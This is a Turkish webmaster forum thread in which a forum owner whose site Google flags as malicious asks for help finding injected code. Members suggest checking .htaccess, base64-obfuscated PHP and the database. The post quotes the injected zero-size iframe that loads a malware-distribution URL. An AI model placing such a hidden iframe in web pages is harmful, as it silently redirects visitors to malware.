Bu site saldırgan olarak algılandı

Question

Google bu sayfayı son test ettiğinde, sunucu, tarayıcıyı kötü amaçlı   yazılım dağıtan bir siteye yönlendiren içerik döndürdü.   Yerleştirildiğinden şüphelenilen kod örneğini aşağıda bulabilirsiniz.
<iframe src=" http: //grh5 .intorcio.com:38/mean.php" height="0
" width="0">bu kodu gösteriyor bazı sayfalarda ama bu kod hiç bir sayfada bulamıyorum ne yapmam gerek  yeniden inceleme isteği gönderdim gelen cevap ise

**** için yeniden değerlendirme isteği: El ile yapılan spam işlemi bulunmadı
Sitenizi inceledik ve sitenizin Google'daki sıralamasını  değiştirecek, webspam ekibi tarafından el ile yapılmış bir işlem  bulamadık. Karşılaşabileceğiniz herhangi bir sıralama sorununun webspam  ekibinin el ile yaptığı bir işlemle ilgisi olmadığından siteniz için  yeniden değerlendirme isteğinde bulunmanıza gerek yoktur. 
 Elbette, sitenizin sıralamasını etkileyen başka sorunlar  olabilir. Google'ın bilgisayarları, arama sonuçlarımızın sıralamasını  algoritmalar olarak bilinen bir formüller dizisi ile belirler. Her yıl  arama algoritmalarımızda yüzlerce değişiklik yaparız ve sayfaları  sıralarken 200'den fazla farklı sinyalden yararlanırız. Algoritmalarımız  ve Web (sizin sayfanız dahil) değiştikçe, kullanıcılarımıza en iyi  sonuçları sunmak için güncellemeler yaptığımızdan sıralamada bazı  dalgalanmalar oluşabilir. 
 Sıralamada bir değişiklikle karşılaştıysanız ve bunun basit bir  algoritma değişikliğinin ötesinde olduğundan şüphelendiyseniz, sitenizin  içeriği, içerik yönetim sistemi veya sunucu mimarisinde yapılan önemli  değişiklikler gibi başka şeyleri de olası nedenler kapsamında araştırmak  isteyebilirsiniz. Örneğin sunucunuz sayfaları Googlebot'a sunmayı  durdurursa veya sitenizdeki sayfalarının büyük bir bölümünün URL'lerini  değiştirdiyseniz, sitenin sıralaması iyi olmayabilir. Bu makalede sitenizin aramada neden iyi bir sonuca ulaşmadığı ile ilgili diğer olası nedenlerin bir listesini bulabilirsiniz. 
 Sorununuzu hala çözemiyorsanız, lütfen destek için Web Yöneticisi Yardım Forumumuza bakın. 
 Saygılarımızla, 
 Google Arama Kalitesi Ekibi

Yardımlarınızı bekliyorum arkadaşlar 5-6 gündür bu sorunla uğraşıyorum :S

kcyg17 · Answer

htaccess dosyanı kontrol ettin mi

zekuda · Answer

kcyg17 adlı üyeden alıntı:						mesajı görüntüle									htaccess dosyanı kontrol ettin mi 		googlenin gösterdiği koda dair hiç birşey yok .htacces ede baktım.

kcyg17 · Answer

muhakkak bi yerlerde kod vardır iyice incelemek lazım

zekuda · Answer

kcyg17 adlı üyeden alıntı:						mesajı görüntüle									muhakkak bi yerlerde kod vardır iyice incelemek lazım 		kafayı yemek üzereyim hocam ftp'den indirdim dosyaları mse virüs prog vardı onunla taradım temiz çıktı.

KronoS · Answer

Wordpress genelikle şifrelenmiş basecode64 türünde hacklik olayı siteler lınklerini eklemektedirler.
 Wordpress son sürüm güncelemesi yapınız açıkları var.

PsyChQPaTh · Answer

Arkadaşım merhaba,

Benimde başıma gelmişti bu tarz olay.
Kullandığın sistem php ise php, asp ise asp dosyalarını kontrol et.
Notepad++ tarzı program ile aç.

<iframe şeklinde aratma yapabilirsin, lakin her zaman geçerli olmuyor.
Bazen şifreleme ile gizleniyorlar.

Örnek;
base64 ve türevi şifreleme komutlarıyla dosyalarına dahil oluyorlar.
Yani decode edildiğinde;
Google sana gösterdiği iframe sayfası çıkıyor.

Eğer düzenlemeleri kendi bilgisayarından yapıyorsan, kendi bilgisayarında gerekli taramaları yaptır.

zekuda · Answer

KronoS adlı üyeden alıntı: mesajı görüntüle Wordpress genelikle şifrelenmiş basecode64 türünde hacklik olayı siteler lınklerini eklemektedirler. Wordpress son sürüm güncelemesi yapınız açıkları var. yardımınız için teşekkür ederim wordpress kullanmıyorum forum sitem var. PsyChQPaTh adlı üyeden alıntı: mesajı görüntüle Arkadaşım merhaba, Benimde başıma gelmişti bu tarz olay. Kullandığın sistem php ise php, asp ise asp dosyalarını kontrol et. Notepad++ tarzı program ile aç.

gumusweb · Answer

sql u inceledinizmi ? sql a bir göz gezdirin ayrıca temizledikten sonra zararlı içerik değerlendirmesi göndereceksiniz yeniden değerlendirme değil ayrıca StopBadWare sitesinede temizlediğinize dair bir mesaj atarsanız zararlı içerik değerlendirmesine gerekte kalmaz

zekuda · Answer

gumusweb adlı üyeden alıntı:						mesajı görüntüle									sql u inceledinizmi ? sql a bir göz gezdirin ayrıca temizledikten sonra zararlı içerik değerlendirmesi göndereceksiniz yeniden değerlendirme değil ayrıca StopBadWare sitesinede temizlediğinize dair bir mesaj atarsanız zararlı içerik değerlendirmesine gerekte kalmaz 		merhabalar sql'ede bakmıştım ben birşey göremiyorum yoksa temiz demekki ama google bir çok sayfada var gösteriyorbu kodu anlam veremiyorum :S

zekuda · Answer

arkadaşlar bilen birisi filan varsa lütfen yardımcı olun kurtulamıyorum şundan